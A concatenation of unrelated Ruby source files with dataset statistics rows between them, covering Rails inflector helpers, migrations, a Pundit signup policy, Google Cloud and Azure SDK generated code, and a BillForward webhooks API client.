# The name is assumed to be the one of a top-level constant, no matter
# whether it starts with "::" or not. No lexical context is taken into
# account:
#
# C = 'outside'
# module M
# C = 'inside'
# C # => 'inside'
# 'C'.constantize # => 'outside', same as ::C
# end
#
# NameError is raised when the name is not in CamelCase or the constant is
# unknown.
def constantize(camel_cased_word)
names = camel_cased_word.split('::')
# Trigger a built-in NameError exception including the ill-formed constant in the message.
Object.const_get(camel_cased_word) if names.empty?
# Remove the first blank element in case of '::ClassName' notation.
names.shift if names.size > 1 && names.first.empty?
names.inject(Object) do |constant, name|
if constant == Object
constant.const_get(name)
else
candidate = constant.const_get(name)
next candidate if constant.const_defined?(name, false)
next candidate unless Object.const_defined?(name)
# Go down the ancestors to check if it is owned directly. The check
# stops when we reach Object or the end of ancestors tree.
constant = constant.ancestors.inject do |const, ancestor|
break const if ancestor == Object
break ancestor if ancestor.const_defined?(name, false)
const
end
# owner is in Object, so raise
constant.const_get(name, false)
end
end
end
# Tries to find a constant with the name specified in the argument string.
#
# 'Module'.safe_constantize # => Module
# 'Test::Unit'.safe_constantize # => Test::Unit
#
# The name is assumed to be the one of a top-level constant, no matter
# whether it starts with "::" or not. No lexical context is taken into
# account:
#
# C = 'outside'
# module M
# C = 'inside'
# C # => 'inside'
# 'C'.safe_constantize # => 'outside', same as ::C
# end
#
# +nil+ is returned when the name is not in CamelCase or the constant (or
# part of it) is unknown.
#
# 'blargle'.safe_constantize # => nil
# 'UnknownModule'.safe_constantize # => nil
# 'UnknownModule::Foo::Bar'.safe_constantize # => nil
def safe_constantize(camel_cased_word)
constantize(camel_cased_word)
rescue NameError => e
raise unless e.message =~ /(uninitialized constant|wrong constant name) #{const_regexp(camel_cased_word)}$/ ||
e.name.to_s == camel_cased_word.to_s
rescue ArgumentError => e
raise unless e.message =~ /not missing constant #{const_regexp(camel_cased_word)}\!$/
end
# Returns the suffix that should be added to a number to denote the position
# in an ordered sequence such as 1st, 2nd, 3rd, 4th.
#
# ordinal(1) # => "st"
# ordinal(2) # => "nd"
# ordinal(1002) # => "nd"
# ordinal(1003) # => "rd"
# ordinal(-11) # => "th"
# ordinal(-1021) # => "st"
def ordinal(number)
abs_number = number.to_i.abs
if (11..13).include?(abs_number % 100)
"th"
else
case abs_number % 10
when 1; "st"
when 2; "nd"
when 3; "rd"
else "th"
end
end
end
# Turns a number into an ordinal string used to denote the position in an
# ordered sequence such as 1st, 2nd, 3rd, 4th.
#
# ordinalize(1) # => "1st"
# ordinalize(2) # => "2nd"
# ordinalize(1002) # => "1002nd"
# ordinalize(1003) # => "1003rd"
# ordinalize(-11) # => "-11th"
# ordinalize(-1021) # => "-1021st"
def ordinalize(number)
"#{number}#{ordinal(number)}"
end
private
# Mounts a regular expression, returned as a string to ease interpolation,
# that will match part by part the given constant.
#
# const_regexp("Foo::Bar::Baz") # => "Foo(::Bar(::Baz)?)?"
# const_regexp("::") # => "::"
def const_regexp(camel_cased_word) #:nodoc:
parts = camel_cased_word.split("::")
return Regexp.escape(camel_cased_word) if parts.blank?
last = parts.pop
parts.reverse.inject(last) do |acc, part|
part.empty? ? acc : "#{part}(::#{acc})?"
end
end
# Applies inflection rules for +singularize+ and +pluralize+.
#
# apply_inflections('post', inflections.plurals) # => "posts"
# apply_inflections('posts', inflections.singulars) # => "post"
def apply_inflections(word, rules)
result = word.to_s.dup
if word.empty? || inflections.uncountables.include?(result.downcase[/\b\w+\Z/])
result
else
rules.each { |(rule, replacement)| break if result.sub!(rule, replacement) }
result
end
end
end
end
| 37.544271 | 119 | 0.591801 |
391652c069c5f5e4088501ee863018a3c25ab71e | 397 | class AddAssignedToToAttendances < ActiveRecord::Migration
def up
add_column :attendances, :assigned_to, :integer
add_column :attendances, :user_id, :integer
add_column :attendances, :access, :string, :default => "Public"
end
def down
remove_column :attendances, :assigned_to
remove_column :attendances, :user_id
remove_column :attendances, :access
end
end
| 26.466667 | 67 | 0.72796 |
1d15bd1da1d7178e82cf425e0d914e3983bdb138 | 141 | class ProjectPosition < ApplicationRecord
acts_as_list scope: [:project_id]
validates_presence_of :project_id, :story_id, :position
end
| 23.5 | 57 | 0.808511 |
7a9e2cbb05447e253e2dca606b4fafbe2d16c014 | 419 | # ----------------------------------------------------------------------------
# Frozen-string-literal: true
# Copyright: 2012 - 2016 - MIT License
# Encoding: utf-8
# ----------------------------------------------------------------------------
Jekyll::Assets::Hook.register :env, :init do
asset_config["sources"] ||= []
asset_config["sources"].each do |path|
append_path jekyll.in_source_dir(path)
end
end
| 29.928571 | 78 | 0.436754 |
6a30c572f3ea5d8b4bf7519f720876e4eae6632e | 706 | json.set! :@context, 'http://www.shared-canvas.org/ns/context.json'
json.set! :@id, services_manifests_url(@identifier)
json.set! :@type, 'sc:AnnotationsList'
json.resources @data do |datum|
json.set! :@id, blank_identifier(@identifier, datum[:index], 'anontation')
json.set! :@type, 'oa:Annotation'
json.motivation 'sc:Painting'
json.resource do
json.set! :@id, blank_identifier(@identifier, datum[:index], 'resource')
json.set! :@type, "cnt:ContentAsType"
json.format 'text/plain'
json.chars datum[:chars]
json.language 'frm'
end
json.on "#{services_manifests_url(@identifier)}/canvas/canvas-1#xywh=#{datum[:HPOS]},#{datum[:VPOS]},#{datum[:WIDTH]},#{datum[:HEIGHT]}"
end
| 39.222222 | 138 | 0.695467 |
874be3bc7a2724fed587aea8e0fa8b383d17e731 | 7,367 | # frozen_string_literal: true
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Auto-generated by gapic-generator-ruby. DO NOT EDIT!
module Google
module Cloud
module Monitoring
module V3
module AlertPolicyService
# Path helper methods for the AlertPolicyService API.
module Paths
##
# Create a fully-qualified AlertPolicy resource string.
#
# @overload alert_policy_path(project:, alert_policy:)
# The resource will be in the following format:
#
# `projects/{project}/alertPolicies/{alert_policy}`
#
# @param project [String]
# @param alert_policy [String]
#
# @overload alert_policy_path(organization:, alert_policy:)
# The resource will be in the following format:
#
# `organizations/{organization}/alertPolicies/{alert_policy}`
#
# @param organization [String]
# @param alert_policy [String]
#
# @overload alert_policy_path(folder:, alert_policy:)
# The resource will be in the following format:
#
# `folders/{folder}/alertPolicies/{alert_policy}`
#
# @param folder [String]
# @param alert_policy [String]
#
# @return [::String]
def alert_policy_path **args
resources = {
"alert_policy:project" => (proc do |project:, alert_policy:|
raise ::ArgumentError, "project cannot contain /" if project.to_s.include? "/"
"projects/#{project}/alertPolicies/#{alert_policy}"
end),
"alert_policy:organization" => (proc do |organization:, alert_policy:|
raise ::ArgumentError, "organization cannot contain /" if organization.to_s.include? "/"
"organizations/#{organization}/alertPolicies/#{alert_policy}"
end),
"alert_policy:folder" => (proc do |folder:, alert_policy:|
raise ::ArgumentError, "folder cannot contain /" if folder.to_s.include? "/"
"folders/#{folder}/alertPolicies/#{alert_policy}"
end)
}
resource = resources[args.keys.sort.join(":")]
raise ::ArgumentError, "no resource found for values #{args.keys}" if resource.nil?
resource.call(**args)
end
##
# Create a fully-qualified AlertPolicyCondition resource string.
#
# @overload alert_policy_condition_path(project:, alert_policy:, condition:)
# The resource will be in the following format:
#
# `projects/{project}/alertPolicies/{alert_policy}/conditions/{condition}`
#
# @param project [String]
# @param alert_policy [String]
# @param condition [String]
#
# @overload alert_policy_condition_path(organization:, alert_policy:, condition:)
# The resource will be in the following format:
#
# `organizations/{organization}/alertPolicies/{alert_policy}/conditions/{condition}`
#
# @param organization [String]
# @param alert_policy [String]
# @param condition [String]
#
# @overload alert_policy_condition_path(folder:, alert_policy:, condition:)
# The resource will be in the following format:
#
# `folders/{folder}/alertPolicies/{alert_policy}/conditions/{condition}`
#
# @param folder [String]
# @param alert_policy [String]
# @param condition [String]
#
# @return [::String]
def alert_policy_condition_path **args
resources = {
"alert_policy:condition:project" => (proc do |project:, alert_policy:, condition:|
raise ::ArgumentError, "project cannot contain /" if project.to_s.include? "/"
raise ::ArgumentError, "alert_policy cannot contain /" if alert_policy.to_s.include? "/"
"projects/#{project}/alertPolicies/#{alert_policy}/conditions/#{condition}"
end),
"alert_policy:condition:organization" => (proc do |organization:, alert_policy:, condition:|
raise ::ArgumentError, "organization cannot contain /" if organization.to_s.include? "/"
raise ::ArgumentError, "alert_policy cannot contain /" if alert_policy.to_s.include? "/"
"organizations/#{organization}/alertPolicies/#{alert_policy}/conditions/#{condition}"
end),
"alert_policy:condition:folder" => (proc do |folder:, alert_policy:, condition:|
raise ::ArgumentError, "folder cannot contain /" if folder.to_s.include? "/"
raise ::ArgumentError, "alert_policy cannot contain /" if alert_policy.to_s.include? "/"
"folders/#{folder}/alertPolicies/#{alert_policy}/conditions/#{condition}"
end)
}
resource = resources[args.keys.sort.join(":")]
raise ::ArgumentError, "no resource found for values #{args.keys}" if resource.nil?
resource.call(**args)
end
##
# Create a fully-qualified Folder resource string.
#
# The resource will be in the following format:
#
# `folders/{folder}`
#
# @param folder [String]
#
# @return [::String]
def folder_path folder:
"folders/#{folder}"
end
##
# Create a fully-qualified Organization resource string.
#
# The resource will be in the following format:
#
# `organizations/{organization}`
#
# @param organization [String]
#
# @return [::String]
def organization_path organization:
"organizations/#{organization}"
end
##
# Create a fully-qualified Project resource string.
#
# The resource will be in the following format:
#
# `projects/{project}`
#
# @param project [String]
#
# @return [::String]
def project_path project:
"projects/#{project}"
end
extend self
end
end
end
end
end
end
| 39.607527 | 108 | 0.546491 |
28afcb9853fdc2abb6956f50a447014cdefb4e85 | 2,226 | # Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::Mysql::Mgmt::V2017_12_01
module Models
#
# Represents a Database.
#
class Database < ProxyResource
include MsRestAzure
# @return [String] The charset of the database.
attr_accessor :charset
# @return [String] The collation of the database.
attr_accessor :collation
#
# Mapper for Database class as Ruby Hash.
# This will be used for serialization/deserialization.
#
def self.mapper()
{
client_side_validation: true,
required: false,
serialized_name: 'Database',
type: {
name: 'Composite',
class_name: 'Database',
model_properties: {
id: {
client_side_validation: true,
required: false,
read_only: true,
serialized_name: 'id',
type: {
name: 'String'
}
},
name: {
client_side_validation: true,
required: false,
read_only: true,
serialized_name: 'name',
type: {
name: 'String'
}
},
type: {
client_side_validation: true,
required: false,
read_only: true,
serialized_name: 'type',
type: {
name: 'String'
}
},
charset: {
client_side_validation: true,
required: false,
serialized_name: 'properties.charset',
type: {
name: 'String'
}
},
collation: {
client_side_validation: true,
required: false,
serialized_name: 'properties.collation',
type: {
name: 'String'
}
}
}
}
}
end
end
end
end
| 26.5 | 70 | 0.448787 |
bf023fae0bbf1d12b40254e18a4241e5e819295d | 111 | class AddUrlToItems < ActiveRecord::Migration[5.1]
def change
add_column :items, :url, :string
end
end
| 18.5 | 50 | 0.720721 |
1dc0e7be4fdf2a12c7897b8a01daaf6cc1434e21 | 474 | # frozen_string_literal: true
$LOAD_PATH.unshift(File.join(File.dirname(__FILE__), '..', 'lib'))
require 'grape'
require 'benchmark/ips'
api = Class.new(Grape::API) do
prefix :api
version 'v1', using: :path
params do
requires :param, type: Array[String]
end
get '/' do
'hello'
end
end
env = Rack::MockRequest.env_for('/api/v1?param=value', method: 'GET')
Benchmark.ips do |ips|
ips.report('simple_with_type_coercer') do
api.call(env)
end
end
| 18.96 | 69 | 0.679325 |
5d79e9d37353e64294193c59c69f2a1b5985ffc4 | 135 | class GroupMessage < ActiveRecord::Base
belongs_to :user
has_and_belongs_to_many :groups
validates :message, presence: true
end
| 19.285714 | 39 | 0.792593 |
1c0c92d21e3da854c1e646877e3495878a14aaf6 | 2,452 | class SignupPolicy < ApplicationPolicy
delegate :run, to: :record
delegate :event, to: :run
delegate :convention, to: :event
def read?
return true if oauth_scoped_disjunction do |d|
d.add(:read_signups) { user && record.user_con_profile&.user_id == user.id }
d.add(:read_events) { signed_up_for_run?(run) && !event.private_signup_list? }
end
return true if read_requested_bucket_key?
super
end
def read_requested_bucket_key?
return true if oauth_scoped_disjunction do |d|
d.add(:read_signups) { user && record.user_con_profile&.user_id == user.id }
d.add(:read_conventions) do
has_convention_permission?(convention, 'read_signup_details')
end
d.add(:read_events) { team_member_for_event?(event) }
end
site_admin_read?
end
def manage?
return true if oauth_scoped_disjunction do |d|
d.add(:manage_conventions) do
convention.signup_mode == 'moderated' &&
has_convention_permission?(convention, 'update_signups')
end
end
super
end
def create?
oauth_scope?(:manage_signups) && user
end
def withdraw?
if oauth_scope?(:manage_signups) && user && record.user_con_profile.user_id == user.id
true
else
manage?
end
end
%i[force_confirm? update_counted? update_bucket?].each do |team_member_action|
define_method team_member_action do
return true if oauth_scoped_disjunction do |d|
d.add(:manage_events) { team_member_for_event?(event) }
d.add(:manage_conventions) { has_convention_permission?(convention, 'update_signups') }
end
site_admin_manage?
end
end
class Scope < Scope
def resolve
return super if site_admin?
disjunctive_where do |dw|
if user && oauth_scope?(:read_signups)
dw.add(user_con_profile: UserConProfile.where(user_id: user.id))
end
if oauth_scope?(:read_events)
dw.add(run: Run.where(event: events_where_team_member))
dw.add(run: Run.where(
id: runs_where_signed_up,
event: Event.where(private_signup_list: false)
))
end
if oauth_scope?(:read_conventions)
dw.add(
run: Run.where(
event: Event.where(
convention: conventions_with_permission('read_signup_details')
)
)
)
end
end
end
end
end
| 26.652174 | 95 | 0.64478 |
b9ece61174c0bafbaf6ec9724aa36b6b4b552de0 | 22,141 | =begin
#BillForward REST API
#No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen)
OpenAPI spec version: 1.0.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
=end
require "uri"
module BillForward
class WebhooksApi
attr_accessor :api_client
def initialize(api_client = ApiClient.default)
@api_client = api_client
end
# Create a webhook.
# {\"nickname\":\"Add a new webhook\",\"request\":\"createWebhookRequest.html\",\"response\":\"createWebhookResponse.html\"}
# @param webhook The webhook object to be created.
# @param [Hash] opts the optional parameters
# @return [WebhookPagedMetadata]
def create_webhook(webhook, opts = {})
data, _status_code, _headers = create_webhook_with_http_info(webhook, opts)
return data
end
# Create a webhook.
# {\"nickname\":\"Add a new webhook\",\"request\":\"createWebhookRequest.html\",\"response\":\"createWebhookResponse.html\"}
# @param webhook The webhook object to be created.
# @param [Hash] opts the optional parameters
# @return [Array<(WebhookPagedMetadata, Fixnum, Hash)>] WebhookPagedMetadata data, response status code and response headers
def create_webhook_with_http_info(webhook, opts = {})
if @api_client.config.debugging
@api_client.config.logger.debug "Calling API: WebhooksApi.create_webhook ..."
end
# verify the required parameter 'webhook' is set
fail ArgumentError, "Missing the required parameter 'webhook' when calling WebhooksApi.create_webhook" if webhook.nil?
# resource path
local_var_path = "/webhooks".sub('{format}','json')
# query parameters
query_params = {}
# header parameters
header_params = {}
# HTTP header 'Accept' (if needed)
local_header_accept = ['text/xml', 'application/xml', 'application/json']
local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result
# HTTP header 'Content-Type'
local_header_content_type = ['application/json']
header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)
# form parameters
form_params = {}
# http body (model)
post_body = @api_client.object_to_http_body(webhook)
auth_names = []
data, status_code, headers = @api_client.call_api(:POST, local_var_path,
:header_params => header_params,
:query_params => query_params,
:form_params => form_params,
:body => post_body,
:auth_names => auth_names,
:return_type => 'WebhookPagedMetadata')
if @api_client.config.debugging
@api_client.config.logger.debug "API called: WebhooksApi#create_webhook\nData: #{data.inspect}\nStatus code: #{status_code}\nHeaders: #{headers}"
end
return data, status_code, headers
end
# Create a webhook.
# {\"nickname\":\"Add a new webhook\",\"request\":\"createWebhookRequest.html\",\"response\":\"createWebhookResponse.html\"}
# @param request
# @param [Hash] opts the optional parameters
# @return [WebhookPagedMetadata]
def create_webhook_v2(request, opts = {})
data, _status_code, _headers = create_webhook_v2_with_http_info(request, opts)
return data
end
# Create a webhook.
# {\"nickname\":\"Add a new webhook\",\"request\":\"createWebhookRequest.html\",\"response\":\"createWebhookResponse.html\"}
# @param request
# @param [Hash] opts the optional parameters
# @return [Array<(WebhookPagedMetadata, Fixnum, Hash)>] WebhookPagedMetadata data, response status code and response headers
def create_webhook_v2_with_http_info(request, opts = {})
if @api_client.config.debugging
@api_client.config.logger.debug "Calling API: WebhooksApi.create_webhook_v2 ..."
end
# verify the required parameter 'request' is set
fail ArgumentError, "Missing the required parameter 'request' when calling WebhooksApi.create_webhook_v2" if request.nil?
# resource path
local_var_path = "/webhooks/create".sub('{format}','json')
# query parameters
query_params = {}
# header parameters
header_params = {}
# HTTP header 'Accept' (if needed)
local_header_accept = ['text/xml', 'application/xml', 'application/json']
local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result
# HTTP header 'Content-Type'
local_header_content_type = ['application/json']
header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)
# form parameters
form_params = {}
# http body (model)
post_body = @api_client.object_to_http_body(request)
auth_names = []
data, status_code, headers = @api_client.call_api(:POST, local_var_path,
:header_params => header_params,
:query_params => query_params,
:form_params => form_params,
:body => post_body,
:auth_names => auth_names,
:return_type => 'WebhookPagedMetadata')
if @api_client.config.debugging
@api_client.config.logger.debug "API called: WebhooksApi#create_webhook_v2\nData: #{data.inspect}\nStatus code: #{status_code}\nHeaders: #{headers}"
end
return data, status_code, headers
end
# Returns a collection of Webhooks, specified by the accountID parameter. By default 10 values are returned. Records are returned in natural order.
# {\"nickname\":\"Get all webhooks\",\"response\":\"getWebhookAll.html\"}
# @param [Hash] opts the optional parameters
# @option opts [Array<String>] :organizations A list of organization-IDs used to restrict the scope of API calls.
# @option opts [Integer] :offset The offset from the first webhook to return. (default to 0)
# @option opts [Integer] :records The maximum number of webhooks to return. (default to 10)
# @option opts [String] :order_by Specify a field used to order the result set. (default to created)
# @option opts [String] :order Ihe direction of any ordering, either ASC or DESC. (default to DESC)
# @option opts [BOOLEAN] :include_retired Whether retired products should be returned. (default to true)
# @return [WebhookPagedMetadata]
def get_all_webhooks(opts = {})
data, _status_code, _headers = get_all_webhooks_with_http_info(opts)
return data
end
# Returns a collection of Webhooks, specified by the accountID parameter. By default 10 values are returned. Records are returned in natural order.
# {\"nickname\":\"Get all webhooks\",\"response\":\"getWebhookAll.html\"}
# @param [Hash] opts the optional parameters
# @option opts [Array<String>] :organizations A list of organization-IDs used to restrict the scope of API calls.
# @option opts [Integer] :offset The offset from the first webhook to return.
# @option opts [Integer] :records The maximum number of webhooks to return.
# @option opts [String] :order_by Specify a field used to order the result set.
# @option opts [String] :order Ihe direction of any ordering, either ASC or DESC.
# @option opts [BOOLEAN] :include_retired Whether retired products should be returned.
# @return [Array<(WebhookPagedMetadata, Fixnum, Hash)>] WebhookPagedMetadata data, response status code and response headers
def get_all_webhooks_with_http_info(opts = {})
if @api_client.config.debugging
@api_client.config.logger.debug "Calling API: WebhooksApi.get_all_webhooks ..."
end
if opts[:'order'] && !['ASC', 'DESC'].include?(opts[:'order'])
fail ArgumentError, 'invalid value for "order", must be one of ASC, DESC'
end
# resource path
local_var_path = "/webhooks".sub('{format}','json')
# query parameters
query_params = {}
query_params[:'organizations'] = @api_client.build_collection_param(opts[:'organizations'], :multi) if !opts[:'organizations'].nil?
query_params[:'offset'] = opts[:'offset'] if !opts[:'offset'].nil?
query_params[:'records'] = opts[:'records'] if !opts[:'records'].nil?
query_params[:'order_by'] = opts[:'order_by'] if !opts[:'order_by'].nil?
query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?
query_params[:'include_retired'] = opts[:'include_retired'] if !opts[:'include_retired'].nil?
# header parameters
header_params = {}
# HTTP header 'Accept' (if needed)
local_header_accept = ['application/json']
local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result
# HTTP header 'Content-Type'
local_header_content_type = []
header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)
# form parameters
form_params = {}
# http body (model)
post_body = nil
auth_names = []
data, status_code, headers = @api_client.call_api(:GET, local_var_path,
:header_params => header_params,
:query_params => query_params,
:form_params => form_params,
:body => post_body,
:auth_names => auth_names,
:return_type => 'WebhookPagedMetadata')
if @api_client.config.debugging
@api_client.config.logger.debug "API called: WebhooksApi#get_all_webhooks\nData: #{data.inspect}\nStatus code: #{status_code}\nHeaders: #{headers}"
end
return data, status_code, headers
end
# Returns a single webhook, specified by the webhook-ID parameter.
# {\"nickname\":\"Retrieve an existing webhook\",\"response\":\"getWebhookByID.html\"}
# @param webhook_id ID of the webhook.
# @param [Hash] opts the optional parameters
# @option opts [Array<String>] :organizations A list of organization-IDs used to restrict the scope of API calls.
# @return [WebhookPagedMetadata]
def get_webhook_by_id(webhook_id, opts = {})
data, _status_code, _headers = get_webhook_by_id_with_http_info(webhook_id, opts)
return data
end
# Returns a single webhook, specified by the webhook-ID parameter.
# {\"nickname\":\"Retrieve an existing webhook\",\"response\":\"getWebhookByID.html\"}
# @param webhook_id ID of the webhook.
# @param [Hash] opts the optional parameters
# @option opts [Array<String>] :organizations A list of organization-IDs used to restrict the scope of API calls.
# @return [Array<(WebhookPagedMetadata, Fixnum, Hash)>] WebhookPagedMetadata data, response status code and response headers
def get_webhook_by_id_with_http_info(webhook_id, opts = {})
if @api_client.config.debugging
@api_client.config.logger.debug "Calling API: WebhooksApi.get_webhook_by_id ..."
end
# verify the required parameter 'webhook_id' is set
fail ArgumentError, "Missing the required parameter 'webhook_id' when calling WebhooksApi.get_webhook_by_id" if webhook_id.nil?
# resource path
local_var_path = "/webhooks/{webhook-ID}".sub('{format}','json').sub('{' + 'webhook-ID' + '}', webhook_id.to_s)
# query parameters
query_params = {}
query_params[:'organizations'] = @api_client.build_collection_param(opts[:'organizations'], :multi) if !opts[:'organizations'].nil?
# header parameters
header_params = {}
# HTTP header 'Accept' (if needed)
local_header_accept = ['application/json']
local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result
# HTTP header 'Content-Type'
local_header_content_type = ['text/plain']
header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)
# form parameters
form_params = {}
# http body (model)
post_body = nil
auth_names = []
data, status_code, headers = @api_client.call_api(:GET, local_var_path,
:header_params => header_params,
:query_params => query_params,
:form_params => form_params,
:body => post_body,
:auth_names => auth_names,
:return_type => 'WebhookPagedMetadata')
if @api_client.config.debugging
@api_client.config.logger.debug "API called: WebhooksApi#get_webhook_by_id\nData: #{data.inspect}\nStatus code: #{status_code}\nHeaders: #{headers}"
end
return data, status_code, headers
end
# Retires the specified webhook.
# {\"nickname\":\"Remove a webhook\",\"response\":\"deleteWebhook.html\"}
# @param webhook_id ID of the webhook.
# @param organizations A list of organization-IDs used to restrict the scope of API calls.
# @param [Hash] opts the optional parameters
# @return [WebhookPagedMetadata]
def retire_webhook(webhook_id, organizations, opts = {})
data, _status_code, _headers = retire_webhook_with_http_info(webhook_id, organizations, opts)
return data
end
# Retires the specified webhook.
# {\"nickname\":\"Remove a webhook\",\"response\":\"deleteWebhook.html\"}
# @param webhook_id ID of the webhook.
# @param organizations A list of organization-IDs used to restrict the scope of API calls.
# @param [Hash] opts the optional parameters
# @return [Array<(WebhookPagedMetadata, Fixnum, Hash)>] WebhookPagedMetadata data, response status code and response headers
def retire_webhook_with_http_info(webhook_id, organizations, opts = {})
if @api_client.config.debugging
@api_client.config.logger.debug "Calling API: WebhooksApi.retire_webhook ..."
end
# verify the required parameter 'webhook_id' is set
fail ArgumentError, "Missing the required parameter 'webhook_id' when calling WebhooksApi.retire_webhook" if webhook_id.nil?
# verify the required parameter 'organizations' is set
fail ArgumentError, "Missing the required parameter 'organizations' when calling WebhooksApi.retire_webhook" if organizations.nil?
# resource path
local_var_path = "/webhooks/{webhook-ID}".sub('{format}','json').sub('{' + 'webhook-ID' + '}', webhook_id.to_s)
# query parameters
query_params = {}
query_params[:'organizations'] = @api_client.build_collection_param(organizations, :multi)
# header parameters
header_params = {}
# HTTP header 'Accept' (if needed)
local_header_accept = ['application/json']
local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result
# HTTP header 'Content-Type'
local_header_content_type = ['text/plain']
header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)
# form parameters
form_params = {}
# http body (model)
post_body = nil
auth_names = []
data, status_code, headers = @api_client.call_api(:DELETE, local_var_path,
:header_params => header_params,
:query_params => query_params,
:form_params => form_params,
:body => post_body,
:auth_names => auth_names,
:return_type => 'WebhookPagedMetadata')
if @api_client.config.debugging
@api_client.config.logger.debug "API called: WebhooksApi#retire_webhook\nData: #{data.inspect}\nStatus code: #{status_code}\nHeaders: #{headers}"
end
return data, status_code, headers
end
# Update a webhook.
# {\"nickname\":\"Update a webhook\",\"request\":\"updateWebhookRequest.html\",\"response\":\"updateWebhookResponse.html\"}
# @param webhook The webhook object to be updated.
# @param [Hash] opts the optional parameters
# @return [WebhookPagedMetadata]
def update_webhook(webhook, opts = {})
data, _status_code, _headers = update_webhook_with_http_info(webhook, opts)
return data
end
# Update a webhook.
# {\"nickname\":\"Update a webhook\",\"request\":\"updateWebhookRequest.html\",\"response\":\"updateWebhookResponse.html\"}
# @param webhook The webhook object to be updated.
# @param [Hash] opts the optional parameters
# @return [Array<(WebhookPagedMetadata, Fixnum, Hash)>] WebhookPagedMetadata data, response status code and response headers
def update_webhook_with_http_info(webhook, opts = {})
if @api_client.config.debugging
@api_client.config.logger.debug "Calling API: WebhooksApi.update_webhook ..."
end
# verify the required parameter 'webhook' is set
fail ArgumentError, "Missing the required parameter 'webhook' when calling WebhooksApi.update_webhook" if webhook.nil?
# resource path
local_var_path = "/webhooks".sub('{format}','json')
# query parameters
query_params = {}
# header parameters
header_params = {}
# HTTP header 'Accept' (if needed)
local_header_accept = ['text/xml', 'application/xml', 'application/json']
local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result
# HTTP header 'Content-Type'
local_header_content_type = ['application/json']
header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)
# form parameters
form_params = {}
# http body (model)
post_body = @api_client.object_to_http_body(webhook)
auth_names = []
data, status_code, headers = @api_client.call_api(:PUT, local_var_path,
:header_params => header_params,
:query_params => query_params,
:form_params => form_params,
:body => post_body,
:auth_names => auth_names,
:return_type => 'WebhookPagedMetadata')
if @api_client.config.debugging
@api_client.config.logger.debug "API called: WebhooksApi#update_webhook\nData: #{data.inspect}\nStatus code: #{status_code}\nHeaders: #{headers}"
end
return data, status_code, headers
end
# New webhooks must be verified before use, use the verificationID of the webhook to perform verification.
# {\"nickname\":\"Verify a webhook\",\"response\":\"verifyWebhook.html\"}
# @param verification_id verificationID of the webhook.
# @param [Hash] opts the optional parameters
# @option opts [Array<String>] :organizations A list of organization-IDs used to restrict the scope of API calls.
# @return [WebhookPagedMetadata]
def verify_webhook(verification_id, opts = {})
data, _status_code, _headers = verify_webhook_with_http_info(verification_id, opts)
return data
end
# New webhooks must be verified before use, use the verificationID of the webhook to perform verification.
# {\"nickname\":\"Verify a webhook\",\"response\":\"verifyWebhook.html\"}
# @param verification_id verificationID of the webhook.
# @param [Hash] opts the optional parameters
# @option opts [Array<String>] :organizations A list of organization-IDs used to restrict the scope of API calls.
# @return [Array<(WebhookPagedMetadata, Fixnum, Hash)>] WebhookPagedMetadata data, response status code and response headers
def verify_webhook_with_http_info(verification_id, opts = {})
if @api_client.config.debugging
@api_client.config.logger.debug "Calling API: WebhooksApi.verify_webhook ..."
end
# verify the required parameter 'verification_id' is set
fail ArgumentError, "Missing the required parameter 'verification_id' when calling WebhooksApi.verify_webhook" if verification_id.nil?
# resource path
local_var_path = "/webhooks/verify/{verification-ID}".sub('{format}','json').sub('{' + 'verification-ID' + '}', verification_id.to_s)
# query parameters
query_params = {}
query_params[:'organizations'] = @api_client.build_collection_param(opts[:'organizations'], :multi) if !opts[:'organizations'].nil?
# header parameters
header_params = {}
# HTTP header 'Accept' (if needed)
local_header_accept = ['application/json']
local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result
# HTTP header 'Content-Type'
local_header_content_type = ['text/plain']
header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)
# form parameters
form_params = {}
# http body (model)
post_body = nil
auth_names = []
data, status_code, headers = @api_client.call_api(:GET, local_var_path,
:header_params => header_params,
:query_params => query_params,
:form_params => form_params,
:body => post_body,
:auth_names => auth_names,
:return_type => 'WebhookPagedMetadata')
if @api_client.config.debugging
@api_client.config.logger.debug "API called: WebhooksApi#verify_webhook\nData: #{data.inspect}\nStatus code: #{status_code}\nHeaders: #{headers}"
end
return data, status_code, headers
end
end
end
| 47.924242 | 188 | 0.698975 |
bb5431367b542e4f7abf9fd7ff2cd9b87aef3fff | 2,476 | module ActiveMerchant #:nodoc:
class ActiveMerchantError < StandardError #:nodoc:
end
module Shipping #:nodoc:
class Error < ActiveMerchant::ActiveMerchantError
end
class ResponseError < Error
attr_reader :response
def initialize(response = nil)
if response.is_a? Response
super(response.message)
@response = response
else
super(response)
end
end
end
class Response
attr_reader :params
attr_reader :message
